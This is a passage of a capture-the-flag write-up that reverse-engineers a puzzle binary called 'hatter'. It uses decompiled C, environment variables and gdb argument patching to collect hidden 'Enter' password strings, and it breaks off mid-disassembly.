MMMMMMMMMM; OMMMMXKMOoOlxWMMMMMMMMMMMWoMMMMMMMMM0KMMMMMMMNlkMMMMMM.;MMMMMMMMMMMM
MMMMMMMMMx oMMMMMMMK0XoWMMWKOkkk0XMMMMkMMMMMMMMMdMMMMMMMMMMOMMMMMM.'MMMMMMMMMMMM
MMMMMMMMx ,WMMMMMMMMMWMNo. ,oXMMMMMMMMMMxMMMWNXKXNMMMMMMMMl xMMMMMMMMMMM
MMMMMMX, .KWWMMMMMMMWMO .. NNKd. cWMMMMMMMMX0c. lNMMMMMMW; :NMMMMMMMMM
MMMMMd ..ldxOKMMX:;OX .. ';xWW' :MMMMWO00' .'. oXddk0KkXx..xMMMMMMMM
MMMN, ,;NMWOl:;:o0WNkWkdx0NW0lX0x:. '. oMMMMN' ':ldxkOKWMMMMMMNXxxX: lMMMMMMM
MMN..xoWMx..:odo, .:kNMMMWO, ;MMMMMXolXMMMMMMMN'.WMMMMMMMMMMXkkkkOkxOkO,.MMMMMMM
MM;.XxWMl oWMMd:MXd;. .... :0MMMMMMMMMMMMMMMMMM;.MMMMMMdkWXl .,;. ;NoMd;.MMMMMMM
MX oMkM0 cMMMM. dXMMMWX000NMMMMMMMMMMMMMMMMMMMMc ;KMMMMl ;WkWM0kMdMx:.MMMMMMM
M0 kMkMk OMXk: .. 'dXMMMMMMMMMMMMx0:..;WMMMMMMMWk' ,0MMMWXKKN0 OMMMWkMx;.MMMMMMM
MK lMxW0 od .. OMXo. 'o0WMMNk000O0'.xOKNNWMMMMMMMMc :WMMMMMMx ;XMKoKW:.,MMMMMMM
MM. XOOW. NMMN..NMMMKl .,oONMMMMM;.0k .XMMMMM0...,kOkNMMW: lMW0kd OMMMMMMM
MM0 .NxKXcNMMM' .oXMMM.'kl,. .;oOKO';NxWWKKWMdkKl ,NMMMMN0Wk. 'WkKMl oMMMMMMMM
MMM0.'XOxOWMMMW: .cO. KMMMNOo;. 'cx0NMMMMMl. .xMMMMMMXd. .' WMMk cMMMMMMMMM
MMMMX, .xWMMMMMM: :o' lKMMMMMx cl;'. .,:lodxxkxxoc;. ,d'.N. XMM..WMMMMMMMMM
MMMMMWl ,NMMMMMMW, OMW. .;o0W;.WMMMMN0o :oc,, ,;cdd.,MMo N: KMX lMMMMMMMMMM
MMMMMMMO..XMMMMMMW; kMl xl' .0NMMMMMK kMMMM;.MMMMMc ON, . KM0 oMMMMMMMMMM
MMMMMMMMO :MMMMMMMMo ..'WMMNx:. .':cl; ,cccc. cl:;'. XMO dMMMMMMMMMM
MMMMMMMMM: kMMMMMMMMK. oWMMMMMM: o:. .MM0 dMMMMMMMMMM
MMMMMMMMMW, OMMMMMMMMWx..oWMMMN.'MMMNOo:. . ;MMK oMMMMMMMMMM
MMMMMMMMMMW: oWMMMMMMMMWd..oKW' KMMMMMMM,.WKkdd: :c; .;l .d .: kMMN cMMMMMMMMMM
MMMMMMMMMMMMx 'KMNXMMNWMMWx. lMMMMMMMM'.MMMMMl XMMk cMo xO . ,MMMM.;MMMMMMMMMM
MMMMMMMMMMMMMX, lKdoON0ddKMMKo' .;oOXWMW..MMMMM''MMW'.N0 l: :NMMMM''MMMMMMMMMM
MMMMMMMMMMMMMMMd c00xxONOk0NMMNOl;. .. ;cc:: .c:. . .;oOWMMMMMM:.MMMMMMMMMM
MMMMMMMMMMMMMMMMWk; .cKKxxOXKkxxXMMMWNK0Okxddoooodxxk0KNMMMMM0MMMWMMl WMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWx' ;kXNOkO0KxxxONMMMMNKKK000OO00XWMMMMMNkOMMMxMMx XMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMO;. .:xNN0000xdOKXNNNXK0000000000000KXMMMNx0MMO 0MMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMNk:. ,xWMMWK00OOO0KNMMMMMWWNNWMMMMMMKxxWMMM0 OMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMWO: :OWMMMMMMWX00000000OOOO000OxOMMMMMW: 0MMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk; .l0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMc cMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk:. .;lkXMMMMMMMMMMMMMMMMMMMO; dMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKkl;. .,lx0NMMMMMMMMWKx:. cXMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOd:'. ...'... .'ckWMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXK0OOO0XNMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKKNMMMMMNKKWMMMMMMMMMMMMMMMMMMMMMMMN0OKWMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK oMMMMMc KMMMMMMMMMMMMMMMMMMMMMMc .0MMMMMMMM
MMMMMMMMxoOxcoXMKooOcxMKoclxNMK :ocxWMc KMNxlco0MMkokkll0KlckMK..oO :MMMMMMMM
MMMMMMMM. .. .Xx .xo ,. .KK . 'Wc KK. ,l. cM' . .. dMMMk. .KMMMMMMMM
MMMMMMMM. 'M0 dx dMW ;MN :K lMo Kc Kc ;:. X' .Wo OX lMMK cWMMMMMMMMM
MMMMMMMM. .0o xx OMM. 'NO oK ,K; Nc Ko oklloW' .Md 0N lMMK;;KMMMMMMMMMM
MMMMMMMM. ;Wx OMMK' cWK . dMc KW: . .xM' .Md 0N lMMk kMMMMMMMMMM
MMMMMMMM. ,WKNMMWNNWMMMMNKKWMMMNNWNKWMMWNNMMMWKKXMMMNNNMWNNWMNNWMMWNNWMMMMMMMMMM
MMMMMMMM:'lMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
find_thE_hAttEr
root@kali:/media/sf_CTFs/matrix/Hatter# unset SHOW_PASSWORD
root@kali:/media/sf_CTFs/matrix/Hatter# export DUMP_DEBUG_DATA=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
d)=%55A(sQeOVEAYUsQj:T^lsQj-pa'Gt
F/sQT+B]lBmsQu"<:Ex'rzsQ
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter | xxd -g 1
00000000: 64 29 3d 0c 18 25 35 35 41 28 01 00 de 73 13 51 d)=..%55A(...s.Q
00000010: 65 0b 4f 56 45 41 1b 0f 3f 59 55 01 df 73 13 51 e.OVEA..?YU..s.Q
00000020: 6a 01 07 3a 54 5e 6c 04 01 0f 01 02 dc 73 13 51 j..:T^l......s.Q
00000030: 6a 2d 70 61 27 47 74 0d 0a 46 2f 03 dd 73 13 51 j-pa'Gt..F/..s.Q
00000040: 54 0f 2b 06 42 01 5d 6c 42 01 6d 04 da 73 13 51 T.+.B.]lB.m..s.Q
00000050: 75 22 3c 3a 11 45 78 27 72 7a 0b 05 db 73 13 51 u"<:.Ex'rz...s.Q
```
We also know from `main()` that the programs takes a different path in case command line arguments are provided to it, so let's try that:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# unset DUMP_DEBUG_DATA
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter test
The hatter left no traces
```
It's not very clear what we have so let's dig deeper. The first thing that `main` checked is whether `SHOW_PASSWORD` was set. If so, it calls:
```c
void handle_show_pass(void)
{
undefined local_1178 [4464];
memcpy(local_1178,
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMMMMMMMMMMMMMMWWWWWNWWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMMMMWd,..... .............\',;cloxO0XWMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMMWd..o00KKXXNNWN0kO0OOOOOOOkkkkOkxdoc,,. .\';lxNMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMX\'dWMMMMMMMXkxx0WMWXXKXXNMWNX000000000Ok0Oxo;.;OMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMK..KMMMMMMWOkOW0xxxkkO0K0OkkO0KKKKK0OOkkkO0XN0dW0:.xWMMMMMMMMMMMMMM\nMMMMMMMMMMMK..XMMMMMKOONOxxxkk0KK0OOO0NMMMMMWNNNNWWWWMMMMMNWMMXc.kMMMMMMMMMMMMM\nMMMMMMMMMMN..KMMMMK0XWxd00dxKWMMMMMMNoNMMMMMMMM0dxxkkOKXOxXMMMMMK\'dMMMMMMMMMMMM\nMMMMMMMMMM;OMMMMXKMOoOlxWMMMMMMMMMMMWoMMMMMMMMM0KMMMMMMMNlkMMMMMM.;MMMMMMMMMMMM\nMMMMMMMMMxoMMMMMMMK0XoWMMWKOkkk0XMMMMkMMMMMMMMMdMMMMMMMMMMOMMMMMM.\'MMMMMMMMMMMM\nMMMMMMMMx,WMMMMMMMMMWMNo. ,oXMMMMMMMMMMxMMMWNXKXNMMMMMMMMl xMMMMMMMMMMM\nMMMMMMX,.KWWMMMMMMMWMO .. NNKd. cWMMMMMMMMX0c. lNMMMMMMW; :NMMMMMMMMM\nMMMMMd ..ldxOKMMX:;OX .. \';xWW\' :MMMMWO00\' .\'. oXddk0KkXx..xMMMMMMMM\nMMMN,,;NMWOl:;:o0WNkWkdx0NW0lX0x:. \'. oMMMMN\' \':ldxkOKWMMMMMMNXxxX:lMMMMMMM\nMMN..xoWMx..:odo, .:kNMMMWO,;MMMMMXolXMMMMMMMN\'.WMMMMMMMMMMXkkkkOkxOkO,.MMMMMMM\nMM;.XxWMl oWMMd:MXd;. ....:0MMMMMMMMMMMMMMMMMM;.MMMMMMdkWXl .,;. ;NoMd;.MMMMMMM\nMX oMkM0 cMMMM.dXMMMWX000NMMMMMMMMMMMMMMMMMMMMc ;KMMMMl ;WkWM0kMdMx:.MMMMMMM\nM0 kMkMk OMXk: ..\'dXMMMMMMMMMMMMx0:..;WMMMMMMMWk\' ,0MMMWXKKN0 OMMMWkMx;.MMMMMMM\nMK lMxW0 od .. OMXo.\'o0WMMNk000O0\'.xOKNNWMMMMMMMMc :WMMMMMMx ;XMKoKW:.,MMMMMMM\nMM. XOOW. NMMN..NMMMKl .,oONMMMMM;.0k .XMMMMM0...,kOkNMMW: lMW0kd OMMMMMMM\nMM0 .NxKXcNMMM\' .oXMMM.\'kl,..;oOKO\';NxWWKKWMdkKl ,NMMMMN0Wk. \'WkKMl oMMMMMMMM\nMMM0.\'XOxOWMMMW: .cO. KMMMNOo;. \'cx0NMMMMMl. .xMMMMMMXd. .\' WMMk cMMMMMMMMM\nMMMMX, .xWMMMMMM: :o\' lKMMMMMx cl;\'. .,:lodxxkxxoc;. ,d\'.N. XMM..WMMMMMMMMM\nMMMMMWl ,NMMMMMMW, OMW. .;o0W;.WMMMMN0o:oc,, ,;cdd.,MMo N: KMX lMMMMMMMMMM\nMMMMMMMO..XMMMMMMW; kMl..." /* TRUNCATED STRINGLITERAL */
,4456);
print_hint_in_debug(4);
printf("%s",local_1178);
return;
}
```
This function contains a call to what we named `print_hint_in_debug`, since it only prints something when `DEBUG` is set:
```c
void print_hint_in_debug(uint hint_num)
{
if (g_env_debug == '\x01') {
print_hint(hint_num);
}
return;
}
```
We'll look at `print_hint` later, let's check a different path first. The next path is taken if `WHERE_IS_THE_HATTER` is set.
```c
void handle_where_hatter(void)
{
char local_238 [128];
char *local_1b8;
char *local_1b0;
char *local_1a8;
char *local_1a0;
char *local_198;
char *local_190;
char local_188 [64];
char local_148 [64];
char local_108 [64];
char local_c8 [64];
char local_88 [64];
char local_48 [53];
undefined local_13 [11];
local_190 = local_188;
local_198 = local_148;
local_1a0 = local_108;
local_1a8 = local_c8;
local_1b0 = local_88;
local_1b8 = local_48;
memcpy(local_1b8,&DAT_00403210,40);
memcpy(local_1b0,&DAT_00403240,56);
memcpy(local_1a8,&DAT_00403280,64);
memcpy(local_1a0,&DAT_004032c0,64);
memcpy(local_198,&DAT_00403300,64);
memcpy(local_190,&DAT_00403340,64);
memcpy(local_238,&DAT_00403380,122);
memset(local_13,0xb,0xb);
print_hint_in_debug(2);
handle_no_args(local_238);
return;
}
```
Again, we see a call to `print_hint_in_debug`. What about the path where `DUMP_DEBUG_DATA` is set?
```c
void handle_dump_debug(void)
{
print_hint_in_debug(0);
write(1,&DAT_00405060,96);
return;
}
```
And the two remaining paths:
```c
void handle_no_args(char *param_1)
{
ulong uVar1;
int i;
undefined8 local_24;
undefined8 *p_hint;
char *local_10;
p_hint = (undefined8 *)0x0;
local_10 = param_1;
print_hint_in_debug(5);
i = 0;
while( true ) {
if (local_10[(long)i * 2] == -1) {
putchar(10);
return;
}
p_hint = (undefined8 *)get_ptr_for_hint_num((uint)(byte)local_10[(long)i * 2]);
if (p_hint == (undefined8 *)0x0) break;
uVar1 = decode_hint(p_hint,&local_24);
if ((char)uVar1 != '\0') {
putchar((int)*(char *)((long)&local_24 + (ulong)(byte)local_10[(long)i * 2 + 1]));
}
i = i + 1;
}
return;
}
```
And:
```c
void handle_some_args(void)
{
print_hint_in_debug(1);
printf("The hatter left no traces\n");
return;
}
```
So if we collect all calls to `print_hint_in_debug`, we see that it's called with the parameters `{4, 2, 0, 5, 1}`. We should repeat our previous experiment with `DEBUG=1` always set:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# export DEBUG=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
Enter "pRnTE"
find_thE_hAttEr
root@kali:/media/sf_CTFs/matrix/Hatter# export WHERE_IS_THE_HATTER=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
Enter "hinT"
Enter "pRnTE"
in ordEr to find thE hAttEr YoU hAvE to find ALL thE 6 LinE5
root@kali:/media/sf_CTFs/matrix/Hatter# unset WHERE_IS_THE_HATTER
root@kali:/media/sf_CTFs/matrix/Hatter# export SHOW_PASSWORD=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter
Enter "P_tr01l"
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMWWWWWNWWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMWd,..... .............',;cloxO0XWMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMWd..o00KKXXNNWN0kO0OOOOOOOkkkkOkxdoc,,. .';lxNMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMX' dWMMMMMMMXkxx0WMWXXKXXNMWNX000000000Ok0Oxo;. ;OMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMK..KMMMMMMWOkOW0xxxkkO0K0OkkO0KKKKK0OOkkkO0XN0dW0: .xWMMMMMMMMMMMMMM
MMMMMMMMMMMK..XMMMMMKOONOxxxkk0KK0OOO0NMMMMMWNNNNWWWWMMMMMNWMMXc .kMMMMMMMMMMMMM
MMMMMMMMMMN..KMMMMK0XWxd00dxKWMMMMMMNoNMMMMMMMM0dxxkkOKXOxXMMMMMK' dMMMMMMMMMMMM
MMMMMMMMMM; OMMMMXKMOoOlxWMMMMMMMMMMMWoMMMMMMMMM0KMMMMMMMNlkMMMMMM.;MMMMMMMMMMMM
MMMMMMMMMx oMMMMMMMK0XoWMMWKOkkk0XMMMMkMMMMMMMMMdMMMMMMMMMMOMMMMMM.'MMMMMMMMMMMM
MMMMMMMMx ,WMMMMMMMMMWMNo. ,oXMMMMMMMMMMxMMMWNXKXNMMMMMMMMl xMMMMMMMMMMM
MMMMMMX, .KWWMMMMMMMWMO .. NNKd. cWMMMMMMMMX0c. lNMMMMMMW; :NMMMMMMMMM
MMMMMd ..ldxOKMMX:;OX .. ';xWW' :MMMMWO00' .'. oXddk0KkXx..xMMMMMMMM
MMMN, ,;NMWOl:;:o0WNkWkdx0NW0lX0x:. '. oMMMMN' ':ldxkOKWMMMMMMNXxxX: lMMMMMMM
MMN..xoWMx..:odo, .:kNMMMWO, ;MMMMMXolXMMMMMMMN'.WMMMMMMMMMMXkkkkOkxOkO,.MMMMMMM
MM;.XxWMl oWMMd:MXd;. .... :0MMMMMMMMMMMMMMMMMM;.MMMMMMdkWXl .,;. ;NoMd;.MMMMMMM
MX oMkM0 cMMMM. dXMMMWX000NMMMMMMMMMMMMMMMMMMMMc ;KMMMMl ;WkWM0kMdMx:.MMMMMMM
M0 kMkMk OMXk: .. 'dXMMMMMMMMMMMMx0:..;WMMMMMMMWk' ,0MMMWXKKN0 OMMMWkMx;.MMMMMMM
MK lMxW0 od .. OMXo. 'o0WMMNk000O0'.xOKNNWMMMMMMMMc :WMMMMMMx ;XMKoKW:.,MMMMMMM
MM. XOOW. NMMN..NMMMKl .,oONMMMMM;.0k .XMMMMM0...,kOkNMMW: lMW0kd OMMMMMMM
MM0 .NxKXcNMMM' .oXMMM.'kl,. .;oOKO';NxWWKKWMdkKl ,NMMMMN0Wk. 'WkKMl oMMMMMMMM
MMM0.'XOxOWMMMW: .cO. KMMMNOo;. 'cx0NMMMMMl. .xMMMMMMXd. .' WMMk cMMMMMMMMM
MMMMX, .xWMMMMMM: :o' lKMMMMMx cl;'. .,:lodxxkxxoc;. ,d'.N. XMM..WMMMMMMMMM
MMMMMWl ,NMMMMMMW, OMW. .;o0W;.WMMMMN0o :oc,, ,;cdd.,MMo N: KMX lMMMMMMMMMM
MMMMMMMO..XMMMMMMW; kMl xl' .0NMMMMMK kMMMM;.MMMMMc ON, . KM0 oMMMMMMMMMM
MMMMMMMMO :MMMMMMMMo ..'WMMNx:. .':cl; ,cccc. cl:;'. XMO dMMMMMMMMMM
MMMMMMMMM: kMMMMMMMMK. oWMMMMMM: o:. .MM0 dMMMMMMMMMM
MMMMMMMMMW, OMMMMMMMMWx..oWMMMN.'MMMNOo:. . ;MMK oMMMMMMMMMM
MMMMMMMMMMW: oWMMMMMMMMWd..oKW' KMMMMMMM,.WKkdd: :c; .;l .d .: kMMN cMMMMMMMMMM
MMMMMMMMMMMMx 'KMNXMMNWMMWx. lMMMMMMMM'.MMMMMl XMMk cMo xO . ,MMMM.;MMMMMMMMMM
MMMMMMMMMMMMMX, lKdoON0ddKMMKo' .;oOXWMW..MMMMM''MMW'.N0 l: :NMMMM''MMMMMMMMMM
MMMMMMMMMMMMMMMd c00xxONOk0NMMNOl;. .. ;cc:: .c:. . .;oOWMMMMMM:.MMMMMMMMMM
MMMMMMMMMMMMMMMMWk; .cKKxxOXKkxxXMMMWNK0Okxddoooodxxk0KNMMMMM0MMMWMMl WMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWx' ;kXNOkO0KxxxONMMMMNKKK000OO00XWMMMMMNkOMMMxMMx XMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMO;. .:xNN0000xdOKXNNNXK0000000000000KXMMMNx0MMO 0MMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMNk:. ,xWMMWK00OOO0KNMMMMMWWNNWMMMMMMKxxWMMM0 OMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMWO: :OWMMMMMMWX00000000OOOO000OxOMMMMMW: 0MMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk; .l0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMc cMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk:. .;lkXMMMMMMMMMMMMMMMMMMMO; dMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKkl;. .,lx0NMMMMMMMMWKx:. cXMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOd:'. ...'... .'ckWMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXK0OOO0XNMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKKNMMMMMNKKWMMMMMMMMMMMMMMMMMMMMMMMN0OKWMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK oMMMMMc KMMMMMMMMMMMMMMMMMMMMMMc .0MMMMMMMM
MMMMMMMMxoOxcoXMKooOcxMKoclxNMK :ocxWMc KMNxlco0MMkokkll0KlckMK..oO :MMMMMMMM
MMMMMMMM. .. .Xx .xo ,. .KK . 'Wc KK. ,l. cM' . .. dMMMk. .KMMMMMMMM
MMMMMMMM. 'M0 dx dMW ;MN :K lMo Kc Kc ;:. X' .Wo OX lMMK cWMMMMMMMMM
MMMMMMMM. .0o xx OMM. 'NO oK ,K; Nc Ko oklloW' .Md 0N lMMK;;KMMMMMMMMMM
MMMMMMMM. ;Wx OMMK' cWK . dMc KW: . .xM' .Md 0N lMMk kMMMMMMMMMM
MMMMMMMM. ,WKNMMWNNWMMMMNKKWMMMNNWNKWMMWNNMMMWKKXMMMNNNMWNNWMNNWMMWNNWMMMMMMMMMM
MMMMMMMM:'lMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Enter "pRnTE"
find_thE_hAttEr
root@kali:/media/sf_CTFs/matrix/Hatter# unset SHOW_PASSWORD
root@kali:/media/sf_CTFs/matrix/Hatter# export DUMP_DEBUG_DATA=1
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter | xxd -g 1
00000000: 64 29 3d 0c 18 25 35 35 41 28 01 00 de 73 13 51 d)=..%55A(...s.Q
00000010: 65 0b 4f 56 45 41 1b 0f 3f 59 55 01 df 73 13 51 e.OVEA..?YU..s.Q
00000020: 6a 01 07 3a 54 5e 6c 04 01 0f 01 02 dc 73 13 51 j..:T^l......s.Q
00000030: 6a 2d 70 61 27 47 74 0d 0a 46 2f 03 dd 73 13 51 j-pa'Gt..F/..s.Q
00000040: 54 0f 2b 06 42 01 5d 6c 42 01 6d 04 da 73 13 51 T.+.B.]lB.m..s.Q
00000050: 75 22 3c 3a 11 45 78 27 72 7a 0b 05 db 73 13 51 u"<:.Ex'rz...s.Q
00000060: 45 6e 74 65 72 20 22 64 4d 70 7c 64 41 74 41 22 Enter "dMp|dAtA"
00000070: 0a .
root@kali:/media/sf_CTFs/matrix/Hatter# unset DUMP_DEBUG_DATA
root@kali:/media/sf_CTFs/matrix/Hatter# ./hatter test
Enter "do v3rifY"
The hatter left no traces
root@kali:/media/sf_CTFs/matrix/Hatter#
```
It looks like we've collected five "Enter" strings:
```
Enter "pRnTE"
Enter "hinT"
Enter "P_tr01l"
Enter "dMp|dAtA"
Enter "do v3rifY"
```
Furthermore, one of the output strings we saw before said that `"in ordEr to find thE hAttEr YoU hAvE to find ALL thE 6 LinE5"`, so we must be on the right track. In order to print the remaining line, we should try to call `print_hint_in_debug` with the argument `3` which was missing from the list of arguments we saw above. We'll just intercept a different call with the debugger and change the parameter:
```console
root@kali:/media/sf_CTFs/matrix/Hatter# gdb -n -q ./hatter
Reading symbols from ./hatter...
(No debugging symbols found in ./hatter)
(gdb) b *0x004014a0
Breakpoint 1 at 0x4014a0
(gdb) r
Starting program: /media/sf_CTFs/matrix/Hatter/hatter
Breakpoint 1, 0x00000000004014a0 in ?? ()
(gdb) set disassembly-flavor intel
(gdb) disas $rip, +20
Dump of assembler code from 0x4014a0 to 0x4014b4:
=> 0x00000000004014a0: push rbp
0x00000000004014a1: mov rbp,rsp
0x00000000004014a4: sub rsp,0x10
0x00000000004014a8: mov DWORD PTR [rbp-0x4],edi
0x00000000004014ab: movzx eax,BYTE PTR ds:0x4050c4
0x00000000004014b3: mov ecx,0x1
End of assembler dump.
(gdb) p $edi
$1 = 5
(gdb) set $edi=3
(gdb) c
Continuing.
Enter "iD4Ur5ALF"
find_thE_hAttEr
[Inferior 1 (process 2969) exited normally]
```
We got the missing line:
```
Enter "iD4Ur5ALF"
```
But now what?
Since we don't have any obvious move, we should continue to reverse. We can try to understand how the hints are printed by reversing `print_hint`, `get_ptr_for_hint_num` and `decode_hint` which we saw get called earlier. However, we skipped something pretty odd earlier and we should probably go back to it first. Did you catch it? Take a look at `handle_where_hatter` again:
```c
void handle_where_hatter(void)
{
char local_238 [128];
char *local_1b8;
char *local_1b0;
char *local_1a8;
char *local_1a0;
char *local_198;
char *local_190;
char local_188 [64];
char local_148 [64];
char local_108 [64];
char local_c8 [64];
char local_88 [64];
char local_48 [53];
undefined local_13 [11];
local_190 = local_188;
local_198 = local_148;
local_1a0 = local_108;
local_1a8 = local_c8;
local_1b0 = local_88;
local_1b8 = local_48;
memcpy(local_1b8,&DAT_00403210,40);
memcpy(local_1b0,&DAT_00403240,56);
memcpy(local_1a8,&DAT_00403280,64);
memcpy(local_1a0,&DAT_004032c0,64);
memcpy(local_198,&DAT_00403300,64);
memcpy(local_190,&DAT_00403340,64);
memcpy(local_238,&DAT_00403380,122);
memset(local_13,0xb,0xb);
print_hint_in_debug(2);
handle_no_args(local_238);
return;
}
```
Look at the amount of code that gets executed. Most of it isn't needed at all! we could rewrite the function as follows without anyone noticing:
```c
void handle_where_hatter(void)
{
char local_238 [128];
memcpy(local_238,&DAT_00403380,122);
print_hint_in_debug(2);
handle_no_args(local_238);
return;
}
```
So what are the extra buffers for? The look similar to `local_238` but only `local_238` gets used. What if we call `handle_no_args` with the other buffers?
Earlier, we executed `print_hint_in_debug(3)` by setting a breakpoint at `print_hint_in_debug` and changing the argument from `5` to `3`. This time, we'll do something a bit more elegant in order to call `handle_no_args` with the different buffers: We'll use a `gdb` script.
For reference, here's the disassembly for the function:
```assembly
**************************************************************
* FUNCTION *
**************************************************************
undefined __stdcall handle_where_hatter(void)
undefined AL:1 <RETURN>
undefined1 Stack[-0x13]:1 local_13 XREF[1]: 0040176b(*)
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 0040178f(*)
undefined1 Stack[-0x88]:1 local_88 XREF[1]: 0040178b(*)
undefined1 Stack[-0xc8]:1 local_c8 XREF[1]: 00401784(*)
undefined1 Stack[-0x108 local_108 XREF[1]: 0040177d(*)
undefined1 Stack[-0x148 local_148 XREF[1]: 00401776(*)
undefined1 Stack[-0x188 local_188 XREF[1]: 0040176f(*)
char * Stack[-0x190 local_190 XREF[1]: 004018d8(W)
char * Stack[-0x198 local_198 XREF[1]: 004018ca(W)
char * Stack[-0x1a0 local_1a0 XREF[1]: 004018bc(W)
char * Stack[-0x1a8 local_1a8 XREF[1]: 004018ae(W)
char * Stack[-0x1b0 local_1b0 XREF[1]: 004018a0(W)
char * Stack[-0x1b8 local_1b8 XREF[1]: 00401892(W)
undefined1 Stack[-0x238 local_238 XREF[2]: 004018df(*),
0040191d(*)
undefined8 Stack[-0x240 local_240 XREF[2]: 00401796(W),
004018fd(R)
undefined8 Stack[-0x248 local_248 XREF[3]: 004017aa(W),
00401803(R),
004018a7(R)
undefined8 Stack[-0x250 local_250 XREF[3]: 004017ba(W),
0040182b(R),
004018b5(R)
undefined8 Stack[-0x258 local_258 XREF[3]: 004017c4(W),
0040186b(R),
004018d1(R)
undefined8 Stack[-0x260 local_260 XREF[3]: 004017cb(W),
0040184b(R),
004018c3(R)
undefined8 Stack[-0x268 local_268 XREF[3]: 004017d2(W),
004017e5(R),
00401899(R)
undefined8 Stack[-0x270 local_270 XREF[2]: 004017d9(W),
0040188b(R)
undefined8 Stack[-0x278 local_278 XREF[4]: 0040181f(W),
0040183f(R),
0040185f(R),
0040187f(R)
handle_where_hatter XREF[3]: main:004011fa(c), 00403470,
00403640(*)
00401760 55 PUSH RBP
00401761 48 89 e5 MOV RBP,RSP
00401764 48 81 ec SUB RSP,0x270
70 02 00 00
0040176b 48 8d 7d f5 LEA RDI=>local_13,[RBP + -0xb]
0040176f 48 8d 85 LEA RAX=>local_188,[RBP + -0x180]
80 fe ff ff
00401776 48 8d 8d LEA RCX=>local_148,[RBP + -0x140]
c0 fe ff ff
0040177d 48 8d 95 LEA RDX=>local_108,[RBP + -0x100]
00 ff ff ff
